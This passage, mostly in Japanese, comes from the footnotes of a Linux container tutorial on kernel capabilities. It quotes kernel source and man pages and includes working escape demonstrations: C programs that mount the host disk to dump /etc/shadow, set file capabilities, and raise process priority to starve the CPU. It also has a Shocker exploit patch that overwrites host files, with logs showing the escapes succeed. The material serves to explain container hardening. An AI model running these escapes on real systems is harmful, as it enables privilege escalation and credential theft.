		not   enforced    if   the   process    is   privileged
		(CAP_IPC_LOCK).

これらの関数はCAP_IPC_LOCKの使用例です。ソースコードでの唯一の言及は次のとおりです。

リスト42: mm/mlock.c:27@c8d2bc

bool can_do_mlock(void)
{
	if (rlimit(RLIMIT_MEMLOCK) != 0)
		return true;
	if (capable(CAP_IPC_LOCK))
		return true;
	return false;
}

18

リスト45: cap_mknod.c

/* -*- compile-command: "gcc -Wall -Werror -static cap_mknod.c -o cap_mknod" -*- */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#define DEV "/disk"
#define MNT "/mnt"

int main (int argc, char **argv)
{
	if (argc != 4) return 1;
	int return_code = 0;
	int etc_shadow = 0;
	
dev_t dev = makedev(atoi(argv[1]), atoi(argv[2]));
	if (mknod(DEV, S_IFBLK | S_IRUSR, dev)) {
		fprintf(stderr, "++ mknod failed: %%m\n");
		return 1;
	}
	if (mkdir(MNT, S_IRUSR)
	    && (errno != EEXIST)) {
		fprintf(stderr, "++ mkdir failed: %%m\n");
		goto cleanup_error;
	}
	if (mount(DEV, MNT, argv[3], 0, NULL)) {
		fprintf(stderr, "++ mount failed: %%m\n");
		goto cleanup_error;
	}
	if ((etc_shadow = open(MNT "/etc/shadow", O_RDONLY)) == -1) {
		fprintf(stderr, "++ opening /etc/shadow failed: %%m\n");
		goto cleanup_error;
	}
	fprintf(stderr, "++ reading /etc/shadow:\n");
	char here = 0;
	erno = 0;
	while (read(etc_shadow, &here, 1) > 0)
		write(STDOUT_FILENO, &here, 1);
	if (errno) {
		fprintf(stderr, "read loop failed! %%m\n");
		goto cleanup_error;
	}
	goto cleanup;
cleanup_error:
	return_code = 1;
cleanup:
	if (etc_shadow) close(etc_shadow);
	umount(MNT);
	unlink(DEV);
	rmdir(MNT);
	return return_code;
}

リスト46: allow_capmknod.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..985930e 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -38,10 +38,8 @@ int capabilities()
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
-		CAP_MKNOD,
 		CAP_SETFCAP,
 		CAP_SYSLOG,
-		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
 		CAP_SYS_MODULE,
 		CAP_SYS_NICE,

CAP_SYS_ADMINはこれを行うために許可される必要はありません。mountがユーザー空間でブロックデバイスを読み取るよりも便利であるだけです。

[lizzie@empress l-c-i-500-l]$  sudo  ./contained -m . -u 0 -c cap_mknod 8 1 vfat
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.VTnW1G...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ mknod failed: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ make contained.allow_capmknod
patch contained.c -i allow_capmknod.diff -o contained.allow_capmknod.c
patching file contained.allow_capmknod.c (read from contained.c)
Hunk #1 succeeded at 46 (offset 8 lines).
cc -Wall -Werror -lseccomp -lcap contained.allow_capmknod.c -o contained.allow_capmknod
rm contained.allow_capmknod.c
[lizzie@empress l-c-i-500-l]$  sudo  ./contained.allow_capmknod -m . -u 0 -c cap_mknod 8 1 vfat
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.fdbi8q...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ reading /etc/shadow:
[redacted]
=> cleaning cgroups...done.

19

リスト48: setfcap_and_exec.c

/* -*- compile-command: "gcc -Wall -Werror setfcap_and_exec.c -o setfcap_and_exec  -static -lcap" -*- */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <linux/capability.h>
#include <sys/capability.h>
#include <sys/prctl.h>
#include <sys/types.h>

int main (int argc, char  **argv)
{
	if (argc == 2 && !strcmp(argv[1], "inner")) {
		cap_t self_caps = {0};
		if (!(self_caps = cap_get_proc())) {
			fprintf(stderr, "++ cap_get_proc failed: %%m\n");
			return 1;
		}

		cap_flag_value_t cap_mknod_status = CAP_CLEAR;
		if (cap_get_flag(self_caps, CAP_MKNOD, CAP_PERMITTED, &cap_mknod_status)) {
			fprintf(stderr, "++ cap_get_flag failed: %%m\n");
			cap_free(self_caps);
			return 1;
		}
		if (cap_mknod_status == CAP_CLEAR)
			fprintf(stderr, "!! don't have cap_mknod+p?\n");

		if (cap_set_flag(self_caps, CAP_EFFECTIVE, 1,
				 & (cap_value_t) { CAP_MKNOD }, CAP_SET)) {
			fprintf(stderr, "++ can't cap_set_flag: %%m\n");
			cap_free(self_caps);
			return 1;
		}
		if (cap_set_proc(self_caps)) {
			fprintf(stderr, "++ can't cap_set_proc: %%m\n");
			cap_free(self_caps);
			return 1;
		}
		cap_free(self_caps);
		fprintf(stderr, "++ have CAP_MKNOD!\n");
	} else {
		cap_t file_caps = {0};
		if (!(file_caps = cap_from_text("cap_mknod+p"))) {
			fprintf(stderr, "++ cap_from_text failed: %%m\n");
			return 1;
		}
		if (cap_set_file(argv[0], file_caps)) {
			fprintf(stderr, "++ cap_set_file failed: %%m\n");
			cap_free(file_caps);
			return 1;
		}
		cap_free(file_caps);

		if (execve(argv[0], (char  *[]){ argv[0], "inner", 0 }, NULL)) {
			fprintf(stderr, "++ execve failed: %%m\n");
			return 1;
		}
	}
	return 0;
}

リスト49: allow_capsetfcap.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..0f3a4e2 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -39,7 +39,6 @@ int capabilities()
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
 		CAP_MKNOD,
-		CAP_SETFCAP,
 		CAP_SYSLOG,
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capsetfcap -m . -u 0 -c setfcap_and_exec
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.GCu2Ry...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
!! don't have cap_mknod+p?
++ can't cap_set_proc: Operation not permitted
=> cleaning cgroups...done.

CAP_MKNODを制限しない場合は機能します。そのため、プロセスは自分が持っていないファイルにケーパビリティを設定することは許可されていないようです。

リスト50: allow_capmknod_capsetfcap.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..b458201 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -38,8 +38,6 @@ int capabilities()
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
 		CAP_MAC_OVERRIDE,
-		CAP_MKNOD,
-		CAP_SETFCAP,
 		CAP_SYSLOG,
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capmknod_capsetfcap -m . -u 0 -c setfcap_and_exec
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.IZ1gDw...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ have CAP_MKNOD!
=> cleaning cgroups...done.

これはBrad Spenglerの「False Boundaries and Arbitrary Code Execution」の注記とは矛盾します。

CAP_SETFCAP: generic: can set full capabilities on a file, granting full capabilities upon exec

しかし、それは5年前のものであるため、変更された可能性があります。

20

リスト52: man 7 capabilities

	CAP_SYSLOG (since Linux 2.6.37)
		*  Perform   privileged   syslog(2)  operations.    See
		   syslog(2)  for   information  on   which  operations
		   require privilege.
		*  View kernel  addresses exposed  via /proc  and other
		   interfaces  when /proc/sys/kernel/kptr_restrict  has
		   the   value  1.    (See   the   discussion  of   the
		   kptr_restrict in proc(5).)

リスト53: man 2 syslog

	SYSLOG_ACTION_READ (2)
		[...] Bytes read from the log disappear from the log
		buffer [...] 

	SYSLOG_ACTION_READ_ALL (3)
		[...] The call reads the   last    len   bytes    from
		the    log   buffer (nondestructively) [...]

	SYSLOG_ACTION_READ_CLEAR (4) [...]

	SYSLOG_ACTION_CLEAR (5) [...]

	SYSLOG_ACTION_CONSOLE_OFF (6) [...]

	SYSLOG_ACTION_CONSOLE_ON (7) [...]

	SYSLOG_ACTION_CONSOLE_LEVEL (8) [...]

	SYSLOG_ACTION_SIZE_UNREAD (9) [...]

	SYSLOG_ACTION_SIZE_BUFFER (10) [...]

	All commands  except 3 and  10 require privilege.

21

CAP_SYS_BOOTのすべての使用例:

リスト56: kernel/reboot.c:280@c8d2bc:

SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
				void __user *, arg)
{
	struct pid_namespace *pid_ns = task_active_pid_ns(current);
	char buffer[256];
	int ret = 0;

	/* We only trust the superuser with rebooting the system. */
	if (!ns_capable(pid_ns->user_ns, CAP_SYS_BOOT))
		return -EPERM;

	[...]
}

リスト57: kernel/kexec.c:187@c8d2bc

SYSCALL_DEFINE4(kexec_load, unsigned long, entry, unsigned long, nr_segments,
		struct kexec_segment __user *, segments, unsigned long, flags)
{
	int result;

	/* We only trust the superuser with rebooting the system. */
	if (!capable(CAP_SYS_BOOT) || kexec_load_disabled)
		return -EPERM;

	[...]
}

リスト58: kernel/kexec_file.c:256@c8d2bc

SYSCALL_DEFINE5(kexec_file_load, int, kernel_fd, int, initrd_fd,
		unsigned long, cmdline_len, const char __user *, cmdline_ptr,
		unsigned long, flags)
{
	int ret = 0, i;
	struct kimage **dest_image, *image;

	/* We only trust the superuser with rebooting the system. */
	if (!capable(CAP_SYS_BOOT) || kexec_load_disabled)
		return -EPERM;
	[...]
}

22

リスト60: kernel/module.c:931@c8d2bc

SYSCALL_DEFINE2(delete_module, const char __user *, name_user,
				unsigned int, flags)
{
	struct module *mod;
	char name[MODULE_NAME_LEN];
	int ret, forced = 0;

	if (!capable(CAP_SYS_MODULE) || modules_disabled)
		return -EPERM;
	[...]
}

リスト61: kernel/module.c:3468@c8d2bc

static int may_init_module(void)
{
	if (!capable(CAP_SYS_MODULE) || modules_disabled)
		return -EPERM;

	return 0;
}

これはinit_moduleとfinit_moduleによって呼び出されます:

リスト62: kernel/module.c:3759@c8d2bc

SYSCALL_DEFINE3(init_module, void __user *, umod,
				unsigned long, len,
				const char __user *, uargs)
{
	int err;
	struct load_info info = { };

	err = may_init_module();
	if (err)
		return err;

	pr_debug("init_module: umod=%%p, len=%%lu, uargs=%%p\n",
	       umod, len, uargs);

	err = copy_module_from_user(umod, len, &info);
	if (err)
		return err;

	return load_module(&info, uargs, 0);
}

SYSCALL_DEFINE3(finit_module, int, fd, const char __user *, uargs, int, flags)
{
	struct load_info info = { };
	loff_t size;
	void *hdr;
	int err;

	err = may_init_module();
	if (err)
		return err;

	pr_debug("finit_module: fd=%%d, uargs=%%p, flags=%%i\n", fd, uargs, flags);

	if (flags & ~(MODULE_INIT_IGNORE_MODVERSIONS
		      |MODULE_INIT_IGNORE_VERMAGIC))
		return -EINVAL;

	err = kernel_read_file_from_fd(fd, &hdr, &size, INT_MAX,
					       READING_MODULE);
	if (err)
		return err;
	info.hdr = hdr;
	info.len = size;

	return load_module(&info, uargs, flags);
}

23

リスト63: kernel/kmod.c:630@c8d2bc

static int proc_cap_handler(struct ctl_table *table, int write,
			void __user *buffer, size_t *lenp, loff_t *ppos)
{
	struct ctl_table t;
	unsigned long cap_array[_KERNEL_CAPABILITY_U32S];
	kernel_cap_t new_cap;
	int err, i;

	if (write && (!capable(CAP_SETPCAP) ||
			      !capable(CAP_SYS_MODULE)))
		return -EPERM;

	[...]
}

これはモジュールのロードを承認するために使用されます。

24

リスト64: net/core/dev_ioctl.c:349@c8d2bc

/**
 * 	dev_load 	- load a network module
 * 	@net: the applicable net namespace
 * 	@name: name of interface
 *
 * 	If a network interface is not present and the process has suitable
 * 	privileges this function loads the module. If module loading is not
 * 	available in this kernel then it becomes a nop.
 */

void dev_load(struct net *net, const char *name)
{
	struct net_device *dev;
	int no_module;

	rcu_read_lock();
	dev = dev_get_by_name_rcu(net, name);
	rcu_read_unlock();

	no_module = !dev;
	if (no_module && capable(CAP_NET_ADMIN))
		no_module = request_module("netdev-%%s", name);
	if (no_module && capable(CAP_SYS_MODULE))
		request_module("%s", name);
}

これにより、CAP_NET_ADMINのみを持つプロセスもnetdev-*モジュールをロードできるようになります。これは、ほぼすべてのネットワークデバイスのioctlで実行されます:

リスト65: net/core/dev_ioctl.c:381@c8d2bc

/**
 * 	dev_ioctl 	- 	network device ioctl
 * 	@net: the applicable net namespace
 * 	@cmd: command to issue
 * 	@arg: pointer to a struct ifreq in user space
 *
 * 	Issue ioctl functions to devices. This is normally called by the
 * 	user space syscall interfaces but can sometimes be useful for
 * 	other purposes. The return value is the return from the syscall if
 * 	positive or a negative errno code on error.
 */

int dev_ioctl(struct net *net, unsigned int cmd, void __user *arg)
{
	[...]
	/*
	 * 	See which interface the caller is talking about.
	 */

	switch (cmd) {
	/*
	 * 	These ioctl calls:
	 * 	- can be done by all.
	 * 	- atomic and do not require locking.
	 * 	- return a value
	 */
	case SIOCGIFFLAGS:
	case SIOCGIFMETRIC:
	case SIOCGIFMTU:
	case SIOCGIFHWADDR:
	case SIOCGIFSLAVE:
	case SIOCGIFMAP:
	case SIOCGIFINDEX:
	case SIOCGIFTXQLEN:
		dev_load(net, ifr.ifr_name);
		[...]
}

これは私にとって非常に驚くべきことでした!さらに調査する必要があります。

25

リスト67: man 2 nice

DESCRIPTION
	nice() adds inc  to the nice value for  the calling process. (A  higher  nice value  means  a  low priority.)   Only  the
	superuser  may specify  a  negative  increment, or  priority
	increase.
	[...]

ERRORS

	EPERM
		The calling process attempted  to increase its priority
		by  supplying  a  negative  inc  but  has  insufficient
		privileges.  Under  Linux, the  CAP_SYS_NICE capability
		is   required.   (But   see  the   discussion  of   the
		RLIMIT_NICE resource limit in setrlimit(2).)

26

シングルコア仮想マシン、ホスト、および低優先度値を設定できるコンテナで、CPUサイクルがどれだけ得られるかを見てみましょう。

リスト68: busy_loop.c

/* -*- compile-command: "gcc -Wall -Werror -static busy_loop.c -o busy_loop" -*- */
#include <time.h>
#include <sys/times.h>
#include <stdio.h>

int main (int argc, char  **argv)
{
	struct timespec now = {0};
	struct timespec then = {0};
	clock_gettime(CLOCK_MONOTONIC, &then);
	do {
		clock_gettime(CLOCK_MONOTONIC, &now);
	} while ((now.tv_sec - then.tv_sec) * 5e9
		 + now.tv_nsec - then.tv_nsec < 20e9);
	/* how much cpu time did we get? */
	struct tms tms = {0};
	if (times(&tms) == -1) {
		fprintf(stderr, "++ times failed: %%m\n");
		return 1;
	}
	/*  "The tms_utime field contains the CPU time spent executing
	    instructions of the calling process.  The tms_stime field contains the
	    CPU time spent in the system while executing tasks on behalf of the
	    calling process." */
	printf("ticks: %%lu\n", tms.tms_utime + tms.tms_stime);
	return 0;
}

リスト69: nice_dos.c

/* -*- compile-command: "gcc -Wall -Werror -static nice_dos.c -o nice_dos" -*- */
#include <unistd.h>
#include <stdio.h>

int main (int argc, char **argv)
{
	if (nice(-10) == -1) {
		fprintf(stderr, "++ nice failed: %%m\n");
		return 1;
	}
	if (execve("./busy_loop", (char *[]) { "./busy_loop", 0 }, NULL)) {
		fprintf(stderr, "++ execve failed: %%m\n");
		return 1;
	}
}

リスト70: allow_capsysnice.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..4895071 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -44,7 +44,6 @@ int capabilities()
 		CAP_SYS_ADMIN,
 		CAP_SYS_BOOT,
 		CAP_SYS_MODULE,
-		CAP_SYS_NICE,
 		CAP_SYS_RAWIO,
 		CAP_SYS_RESOURCE,
 		CAP_SYS_TIME,
alpine-kernel-dev:~# (./busy_loop && echo '^ uncontained one' &) && (sudo ./contained.allow_capsysnice -m . -u 0 -c ./nice_dos &)
=> validating Linux version...4.7.6.
=> setting cgroups...memory...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.elKMci...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
ticks: 52
^ uncontained one
ticks: 341
=> cleaning cgroups...done.
alpine-kernel-dev:~#

27

リスト72: man 7 capabilities

	CAP_SYS_RAWIO
		* Perform I/O port operations (iopl(2) and ioperm(2));
		* access /proc/kcore;
		* employ the FIBMAP ioctl(2) operation;
		* open   devices  for   accessing  x86   model-specific
		  registers (MSRs, see msr(4))
		* update /proc/sys/vm/mmap_min_addr;
		* create memory  mappings at addresses below  the value
		  specified by /proc/sys/vm/mmap_min_addr;
		* map files in /proc/bus/pci;
		* open /dev/mem and /dev/kmem;
		* perform various SCSI device commands;
		* perform  certain operations  on hpsa(4)  and cciss(4)
		  devices;
		* perform  a  range  of device-specific  operations  on
		  other devices.

28

リスト73: man 4 mem

	/dev/mem is a character device file  that is an image of the
	main memory of  the computer.  It may  be used, for example,
	to examine (and even patch) the system.

	[...]

	It is typically created by:

		mknod -m 660 /dev/mem c 1 1
		chown root:kmem /dev/mem

	The file /dev/kmem is  the  same as /dev/mem,  except that  the
	kernel  virtual  memory  rather   than  physical  memory  is
	accessed.  Since  Linux 2.6.26, this file  is available only
	if  the   CONFIG_DEVKMEM  kernel  configuration   option  is
	enabled.

	It is typically created by:

		mknod -m 640 /dev/kmem c 1 2
		chown root:kmem /dev/kmem

	/dev/port  is similar  to /dev/mem,  but the  I/O ports  are
	accessed.

	It is typically created by:

		mknod -m 660 /dev/port c 1 4
		chown root:kmem /dev/port

29

リスト74: man 2 ioperm

	ioperm()  sets  the  port  access permission  bits  for  the
	calling thread for num bits starting from port address from.
	if  turn_on is  nonzero, then  permission for  the specified
	bits is  enabled; otherwise it  is disabled.  If  turn_on is
	nonzero,   the    calling   thread   must    be   privileged
	(CAP_SYS_RAWIO).

リスト75: man 2 iopl

	iopl()  changes  the  I/O  privilege level  of  the  calling
	process, as specified  by the two least  significant bits in
	level.

	This call is necessary to allow 8514-compatible X servers to
	run under  Linux.  Since these  X servers require  access to
	all 65536 I/O ports, the ioperm(2) call is not sufficient.

	In  addition  to  granting  unrestricted  I/O  port  access,
	running  at a  higher I/O  privilege level  also allows  the
	process to disable interrupts.  This will probably crash the
	system, and is not recommended.

30

リスト77: man 7 capabilities

	CAP_SYS_RESOURCE
		* Use reserved space on ext2 filesystems;
		* make ioctl(2) calls controlling ext3 journaling;
		* override disk quota limits;
		* increase resource limits (see setrlimit(2));
		* override RLIMIT_NPROC resource limit;
		* override  maximum  number   of  consoles  on  console
		  allocation;
		* override maximum number of keymaps;
		* allow more  than 64hz  interrupts from  the real-time
		  clock;
		* raise msg_qbytes  limit for a System  V message queue
		  above  the  limit   in  /proc/sys/kernel/msgmnb  (see
		  msgop(2) and msgctl(2));
		* override  the  /proc/sys/fs/pipe-size-max limit  when
		  setting the capacity of a pipe using the F_SETPIPE_SZ
		  fcntl(2) command.
		* use F_SETPIPE_SZ  to increase the capacity  of a pipe
		  above       the        limit       specified       by
		  /proc/sys/fs/pipe-max-size;
		* override  /proc/sys/fs/mqueue/queues_max  limit  when
		  creating POSIX message queues (see mq_overview(7));
		* employ prctl(2) PR_SET_MM operation;
		* set /proc/PID/oom_score_adj to a value lower than the
		  value last set by a process with CAP_SYS_RESOURCE.

32

時間を変更することで重要なものが壊れる可能性があることがわかりました。"Authenticated Network Time Synchronization"はこれらのいくつかを説明しています:

セキュリティにおける正確な時間の重要性。正確な時計に(しばしば暗黙的に)依存するセキュリティメカニズムは数多く存在します:

  • TLSおよびその他のプロトコルでの証明書検証。公開鍵証明書を検証するには、現在の時間が証明書の有効期間内であることを確認する必要があります。検証に遅いまたは不正確な時計を使用すると、期限切れの証明書が有効として受け入れられる可能性があります。失効した証明書も、信頼する側が更新された失効情報チェックを行わないため、有効と見なされる可能性があります。
  • Kerberosでのチケット検証。Kerberosでは、認証チケットには有効期間があり、適切な検証には正確な時計が必要であり、期限切れのチケットでの認証を防ぐ必要があります。
  • HTTP Strict Transport Security (HSTS) ポリシー期間。HSTSは、ブラウザにHTTPの代わりにHTTPSを使用する必要があることを示すヘッダーを送信することで、HTTPSへのダウングレード攻撃からウェブサイト管理者を保護できます。HSTSポリシーは、HTTPSを使用する必要がある期間を指定します。ブラウザの時計が進むと、ポリシーが期限切れになり、ダウングレード攻撃が再開される可能性があります。関連メカニズムであるHTTP Public Key Pinningも正確なクライアント時間に依存しています。

NTPを使用して時計を設定するクライアントにとって、これらのセキュリティメカニズム(およびその他)は、悪意のあるワイヤレスアクセスポイントやISPの内部関係者など、NTPトラフィックを傍受および変更できるネットワークレベルの攻撃者によって攻撃される可能性があります。実際には、ほとんどのNTPサーバーはクライアントに自身を認証しないため、ネットワーク攻撃者は応答を傍受してタイムスタンプを任意に設定できます。クライアントが複数のサーバーにリクエストを送信した場合でも、これらはすべてアップストリームネットワークデバイスによって傍受され、被害者に一貫して不正確な時間を提示するように変更される可能性があります。HSTSに対するこのような攻撃は、Selviによって実証されました。彼は、HSTSポリシーの期限切れを可能にするために被害者の時計を進めるツールを提供しました。Malhotraらは、NTPが認証されていないことに依存するさまざまな攻撃を提示しており、認証された時刻同期の必要性をさらに強調しています。

33

リスト80: man 7 capabilities

       CAP_WAKE_ALARM (since Linux 3.0)
	      Trigger something that will wake up the system (set
	      CLOCK_REALTIME_ALARM and CLOCK_BOOTTIME_ALARM timers).

これらの詳細情報を見つけるのに苦労しましたが、LWNの「Waking systems from suspend」でさらに詳しく説明されています。

これらのタイマーは、新しいCLOCK_REALTIME_ALARM clockidを使用して、標準のPOSIXクロックとタイマーインターフェイスを介してユーザー空間に公開されます。新しいclockidはCLOCK_REALTIMEと同じように動作しますが、_ALARMクロックに対して設定されたタイマーは、システムがサスペンドされている場合にシステムをウェイクアップするという点が異なります。

34

Brad Spenglerの「False Boundaries and Arbitrary Code Execution」:

CAP_DAC_OVERRIDE: generic: CAP_DAC_READ_SEARCHと同じバイパス、非suidバイナリをrootによって実行されるものに変更してフル権限でコードを実行することもできます(suid rootバイナリを変更して実行するにはCAP_FSETIDが必要です。セットアップビットは変更時にクリアされるためです。Eric Parisに感謝)。modprobe sysctlは上記のように変更してフルケーパビリティでコードを実行できます。

そしてもちろんSebastian Krahmerのメール:

0.11では、コンテナ内で実行されるアプリがCAP_DAC_READ_SEARCHとCAP_DAC_OVERRIDEを持っているため、コンテナ化されたアプリがパス名(ルートfsのバインドマウントのため不可能)だけでなく、open_by_handle_at()経由でハンドルによってもファイルにアクセスできるという問題があります。

彼が両方の組み合わせが問題であると言っているのかもしれませんが、それは絶対に真実です。CAP_DAC_OVERRIDEとCAP_DAC_READ_SEARCHがあれば、任意のファイルを変更できます。

リスト83: shocker_write.patch

48a49,50
> char new_motd[] = "The tea from 2014 kicks your sekurity again\n";
> 
149d150
< 	char buf[0x1000];
161,163c162
< 	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");
< 
< 	read(0, buf, 1);
---
> 	       "[***] forward to my friends who drink secury-tea too!      [***]\n");
169c168
< 	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
---
> 	if (find_handle(fd1, "/etc/motd", &root_h, &h) <= 0)
175c174
< 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
---
> 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_WRONLY)) < 0)
178,180c177,179
< 	memset(buf, 0, sizeof(buf));
< 	if (read(fd2, buf, sizeof(buf) - 1) < 0)
< 		die("[-] read");
---
> 	if (write(fd2, new_motd, sizeof(new_motd)) != sizeof(new_motd))
> 		die("[-] write");
> 
182c181
< 	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%%s\n", buf);
---
> 	fprintf(stderr, "[!] Win! /etc/motd written.\n");

リスト84: allow_capdacreadsearch.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker_write
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.axVxAE...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'etc/motd'
[*] Found .
[*] Found ..
[*] Found lib64
[*] Found sys
[*] Found run
[*] Found sbin
[*] Found opt
[*] Found tmp
[*] Found lost+found
[*] Found dev
[*] Found mnt
[*] Found root
[*] Found lib
[*] Found boot
[*] Found home
[*] Found usr
[*] Found bin
[*] Found srv
[*] Found etc
[+] Match: etc ino=4325377
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'motd'
[*] Found binfmt.d
[*] Found ts.conf
[*] Found nscd.conf
[*] Found dhcpcd.duid
[*] Found sensors3.conf
[*] Found libao.conf
[*] Found .
[*] Found motd
[+] Match: motd ino=4325389
[*] Brute forcing remaining 32bit. This can take a while...
[*] (motd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x0d, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x0d, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/motd written.
=> cleaning cgroups...done.

35

リスト85: allow_capdacreadsearch.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,

リスト86: allow_capdacreadsearch.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./shocker
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.bWoGr4...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker
=> validating Linux version...4.8.4-1-ARCH on x86_64.
